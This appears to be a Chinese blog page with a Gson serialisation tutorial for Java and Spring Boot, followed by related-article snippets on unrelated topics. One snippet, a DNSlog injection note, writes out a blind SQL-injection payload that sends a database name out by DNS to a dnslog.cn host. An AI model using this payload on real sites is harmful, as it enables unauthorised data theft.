[AIGC] Java序列化利器 gson
前言: 本篇文章主要介绍了Gson库,从是什么、为什么、怎么用三个方面进行了详细的介绍。在是什么部分,介绍了Gson库的作用和特点;在为什么部分,介绍了为什么要使用Gson库;在怎么用部分,介绍了如何配置Gson对象、将Java对象序列化为JSON以及将JSON字符串反序列化为Java对象等操作。本篇文章旨在帮助Java开发者更好地了解和使用Gson库,使得开发更加高效和便捷。
文章目录
- 是什么?
- 为什么使用Gson?
- 怎么使用Gson?
- 配置Gson
- 将Java对象序列化为JSON
- 将JSON字符串反序列化为Java对象
- 在 springboot 项目中使用
- 1.导入 GSON 依赖
- 2.创建Gson实例
- 3.将Java对象序列化为JSON
- 4.将JSON字符串反序列化为Java对象
是什么?
Gson是Google提供的用于Java对象与JSON数据互转的开源库。它能够将一个JSON字符串转成Java对象,也可以将Java对象转成JSON格式字符串。Gson具有容错能力,当JSON数据不完整或者格式错误时,它能够自动将正确的数据部分解析出来。
为什么使用Gson?
在现代Web应用程序中,使用JSON数据格式交换数据非常常见。JSON数据格式简单、轻量级、易于阅读和编写,并且被广泛支持。使用Gson库可以方便地通过序列化和反序列化Java对象来生成和解析JSON。Gson库可以自动处理所有的细节,使代码更简单、更易于维护。
怎么使用Gson?
配置Gson
使用Gson需要先配置Gson对象。可以通过GsonBuilder对象来创建Gson对象,并为其配置相应的选项。
Gson gson = new GsonBuilder().setDateFormat("yyyy-MM-dd HH:mm:ss").excludeFieldsWithModifiers(Modifier.STATIC).create();
在上面的示例中,我们创建一个GsonBuilder对象,并设置了日期格式和过滤器规则,然后调用create()方法创建Gson对象。
将Java对象序列化为JSON
将Java对象序列化成JSON格式字符串非常简单,只需要调用Gson对象的toJson()方法即可。
Person p = new Person("张三", 20, new Date());
String json = gson.toJson(p);
System.out.println(json);
上面的示例中,我们创建了一个Person对象,然后使用Gson对象将该对象序列化成JSON字符串,并将其输出到控制台。
将JSON字符串反序列化为Java对象
将JSON字符串反序列化为Java对象同样也非常简单,只需要调用Gson对象的fromJson()方法即可。
String json = "{\"name\":\"张三\",\"age\":20,\"birthday\":\"2022-01-01 12:00:00\"}";
Person p = gson.fromJson(json, Person.class);
System.out.println(p);
在上面的示例中,我们创建了一个JSON字符串并使用Gson对象将其反序列化成一个Person对象,并将该对象输出到控制台。
Gson库的功能非常强大,可以为Java对象设置自定义序列化和反序列化规则,使得开发人员可以灵活地控制数据的生成和解析。
在 springboot 项目中使用
在Spring Boot中使用Gson非常简单。下面我们来一步步介绍。
1.导入 GSON 依赖
在pom.xml文件的中添加以下坐标,可以使用最新版的Gson:
<dependency><groupId>com.google.code.gson</groupId><artifactId>gson</artifactId><version>2.8.8</version>
</dependency>
2.创建Gson实例
Gson gson = new Gson();
3.将Java对象序列化为JSON
User user = new User("张三", 18);
String json = gson.toJson(user);
4.将JSON字符串反序列化为Java对象
String json = "{\"name\":\"张三\",\"age\":18}";
User user = gson.fromJson(json, User.class);
完整代码示例如下所示:
import com.google.gson.Gson;public class DemoApplication {public static void main(String[] args) {// 创建Gson实例Gson gson = new Gson();// 将Java对象序列化为JSONUser user = new User("张三", 18);String json = gson.toJson(user);System.out.println(json);// 将JSON字符串反序列化为Java对象String json2 = "{\"name\":\"张三\",\"age\":18}";User user2 = gson.fromJson(json2, User.class);System.out.println(user2.getName() + "," + user2.getAge());}
}class User {private String name;private int age;public User(String name, int age) {this.name = name;this.age = age;}// getter, setter
}
运行该程序,输出结果如下:
{"name":"张三","age":18}
张三,18
以上就是在Spring Boot中使用Gson的简单示例。
相关文章:
[AIGC] Java序列化利器 gson
前言: 本篇文章主要介绍了Gson库,从是什么、为什么、怎么用三个方面进行了详细的介绍。在是什么部分,介绍了Gson库的作用和特点;在为什么部分,介绍了为什么要使用Gson库;在怎么用部分,介绍了如何…...
VMware 虚拟机删除+重建
由于本人暴力地关闭虚拟机,导致虚拟机出现了一些问题,并且还没有给虚拟机拍快照,虽然还能用,但本人不想将就,于是乎打算重新新建一个虚拟机 一、删除 1.打开workstation,选择虚拟机,右键选择移除。 虽然虚…...
环面上 FHE 的快速自举:LUT/Automata Blind Rotate
参考文献: [AP14] Alperin-Sheriff J, Peikert C. Faster bootstrapping with polynomial error[C]//Advances in Cryptology–CRYPTO 2014: 34th Annual Cryptology Conference, Santa Barbara, CA, USA, August 17-21, 2014, Proceedings, Part I 34. Springer B…...
VScode配置文件launch.json 和 tasks.json配置项详细说明
tasks.json tasks.json为编译配置文件 {"version": "2.0.0", // tasks.json 文件的版本号"tasks": [ // 任务数组,包含一个编译任务配置对象{"type": "cppbuild", // 任务类型,这里是 cppbuild …...
DNSlog 注入简单笔记
无回显的盲注可以想办法回显到 dns 日志上: 1、打开 http://www.dnslog.cn 获取域名 2、注入: ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显:...
HDLbits: Dualedge
FPGA没有双边缘触发触发器,(posedge clk或negedge clk)会报错 “FPGA(以及其他任何地方)上的触发器是一个具有一个时钟且仅对该时钟的一个边缘敏感的器件。”参考verilog为什么不能双边沿触发 实现双边沿的两种方法 …...
网络安全_黑客(自学)
想自学网络安全(黑客技术)首先你得了解什么是网络安全!什么是黑客!!! 网络安全可以基于攻击和防御视角来分类,我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术,而“蓝队…...
AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率)
AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率) AI(人工智能)的大框架有很多种,以下是一些常见的AI框架: TensorFlow:由谷歌开发的开源机器学习框架,支持各种任务,包括图像…...
C++day01(QT简介、C++)
今日任务: 代码: #include <iostream>using namespace std;int main() {/** 输入字符串统计大写、小写、数字、空格以及其他字符的个数**/string s;cout << "请输入一个字符串" << endl;//cin >> s;getline(cin,s);i…...
Web server failed to start. Port 8080 was already in use
一、问题 package com.djc.boot;import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annota…...
new和malloc的区别
new 和 malloc 都是在 C 中用于动态分配内存的方式,但它们之间有一些重要的区别 对象类型的区别: new:new 是 C 的关键字,用于动态分配对象。它可以调用对象的构造函数进行初始化,并返回指向所分配对象的指针。mallo…...
python:openpyxl 读取 Excel文件,显示在 wx.grid 表格中
pip install openpyxl openpyxl-3.1.2-py2.py3-none-any.whl (249 kB) et_xmlfile-1.1.0-py3-none-any.whl (4.7 kB) 摘要:A Python library to read/write Excel 2010 xlsx/xlsm files pip install wxpython4.2 wxPython-4.2.0-cp37-cp37m-win_amd64.whl (18.0 M…...
12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV
12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV 除了标准的实时计算、通信和控制,边缘设备和关键网络应用的fog通常执行人工智能(AI)、虚拟现实(VR)和增强现实(AR)解决方案。 目前,制药商和医疗保健机构对它们的需求快速增长,因为它们…...
P1014 [NOIP1999 普及组] Cantor 表
#include <bits/stdc.h> using namespace std; int main() {int n,k1;cin>>n;while (n>k) {nn-k;k;}if(k%20) cout<<n<<"/"<<(k1-n);else cout<<k1-n<<"/"<<n;return 0; }...
JMeter性能分析实战一:日常登录接口
负载测试 日常需求:负载测试! 对于桥的负载测试:我给你20t的一排车辆,看你能不能撑得住20t! 对于系统的负载测试: 逐步增加负载,便于问题的发现和定位,不要操之过急。逐步增加负载…...
内外网结合的多服务发布架构
1. 需求 1)有多个独立的web服务需要对外发布。 2)有AIGC的大模型服务需要在内网图形工作站上运行,也需要对外发布接口。 3)所有服务需要通过域名访问。 2. 现有资源 1)阿里云上的ECS云服务器一台,考虑…...
Unity中Shader的光照模型Lambert
文章目录 前言一、Lambert光照模型1、公式可以使用图形计算器来看出这个点积对于结果的影响 前言 Unity中Shader的光照模型Lambert 一、Lambert光照模型 1、公式 A:可以理解为环境光的颜色 K:反射系数 LC:主要的入射光的颜色 N:…...
(一)Log4Net - 介绍
0、相关概念 Log4j 几乎每个大型应用程序都包含自己的日志记录或跟踪 API。根据这一规则,E.U. SEMPER 🌹项目决定编写自己的跟踪 API。那是在 1996 年初。经过无数次的增强、几个化身和大量的工作,API 已经发展成为 log4j —— 一个流行的 Ja…...
[bug] mysql 时间与本地不一致
通过 select now() 查询到的时间比本机少了8个小时。 show variables like %time_zone%; //查询当前时区set global time_zone8:00; //在标准时区上加8小时,即东8区时间flush privileges; # 立即生效...
【改造先序遍历】222. 完全二叉树的节点个数
222. 完全二叉树的节点个数 解题思路-先序 直接改造先序遍历算法针对一个节点 如果节点为空 那么直接返回0其余交给递归 /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* …...
Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...
反向工程与模型迁移:打造未来商品详情API的可持续创新体系
在电商行业蓬勃发展的当下,商品详情API作为连接电商平台与开发者、商家及用户的关键纽带,其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息(如名称、价格、库存等)的获取与展示,已难以满足市场对个性化、智能…...
Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
